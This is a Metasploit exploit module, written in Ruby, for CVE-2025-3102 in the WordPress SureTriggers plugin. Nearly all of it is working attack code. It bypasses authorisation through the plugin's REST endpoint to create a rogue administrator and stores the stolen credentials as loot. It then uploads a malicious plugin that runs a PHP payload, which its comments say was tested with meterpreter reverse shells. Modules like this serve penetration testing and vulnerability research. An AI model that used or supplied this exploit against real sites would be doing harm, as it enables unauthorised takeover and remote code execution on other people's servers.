## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Auxiliary::Report include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress SureTriggers Auth Bypass and RCE', 'Description' => %q{ This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78). It first creates a new administrator account via the unauthenticated REST endpoint, then uploads and executes a PHP payload using FileDropper for remote code execution. }, 'Author' => [ 'Michael Mazzolini (mikemyers)', # Vulnerability Discovery 'Khaled Alenazi (Nxploited)', # PoC 'Valentin Lobstein' # Metasploit module ], 'References' => [ ['CVE', '2025-3102'], ['URL', 'https://github.com/Nxploited/CVE-2025-3102'], ['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[unix linux win php], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix In-Memory', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-03-13', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]), OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]), OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]), OptString.new('ST_AUTH', [false, 'Value for st_authorization header', '']) ] ) end def check return CheckCode::Unknown('Target not responding') unless wordpress_and_online? wp_version = wordpress_version print_status("Detected WordPress version: #{wp_version}") if wp_version plugin = 'suretriggers' readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1') detected = readme&.details&.dig(:version) if detected.nil? return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.") end detected_version = Rex::Version.new(detected) if detected_version <= Rex::Version.new('1.0.78') return CheckCode::Appears("Detected #{plugin} version #{detected_version}") end CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched") end def exploit print_status('Attempting to create administrator user via auth bypass...') create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action') headers = { 'st_authorization' => datastore['ST_AUTH'] } payload = user_payload.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => create_uri, 'ctype' => 'application/json', 'data' => payload, 'headers' => headers ) unless res&.code == 200 && res.get_json_document&.dig('success') print_warning('Primary endpoint failed, trying fallback via rest_route...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' }, 'ctype' => 'application/json', 'data' => payload, 'headers' => headers ) end unless res&.code == 200 && res.get_json_document&.dig('success') fail_with(Failure::UnexpectedReply, 'User creation did not return success') end print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") create_credential( workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: datastore['WP_USER'], private_type: :password, private_data: datastore['WP_PASS'], service_name: 'WordPress', address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED ) vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.") loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n" loot_path = store_loot( 'wordpress.admin.created', 'text/plain', datastore['RHOST'], loot_data, 'wp_admin_credentials.txt', 'WordPress Created Admin Credentials' ) vprint_good("Loot saved to: #{loot_path}") report_host(host: datastore['RHOST']) report_service( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: fullname, info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation' ) report_vuln( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: 'SureTriggers WordPress Plugin Auth Bypass', refs: references, info: 'Unauthenticated admin creation via vulnerable REST API endpoint' ) cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) upload_and_execute_payload(cookie) end def user_payload { 'integration' => 'WordPress', 'type_event' => 'create_user_if_not_exists', 'selected_options' => { 'user_name' => datastore['WP_USER'], 'password' => datastore['WP_PASS'], 'user_email' => datastore['WP_EMAIL'], 'role' => 'administrator' }, 'fields' => [], 'context' => {} } end def upload_and_execute_payload(auth_cookie) plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" zip = generate_plugin(plugin, payload_name.sub('.php', '')) print_status('Uploading malicious plugin for code execution...') ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie) fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) print_status("Executing payload at #{payload_uri}...") register_files_for_cleanup(payload_name, "#{plugin}.php") register_dir_for_cleanup("../#{plugin}") send_request_cgi('uri' => payload_uri, 'method' => 'GET') end end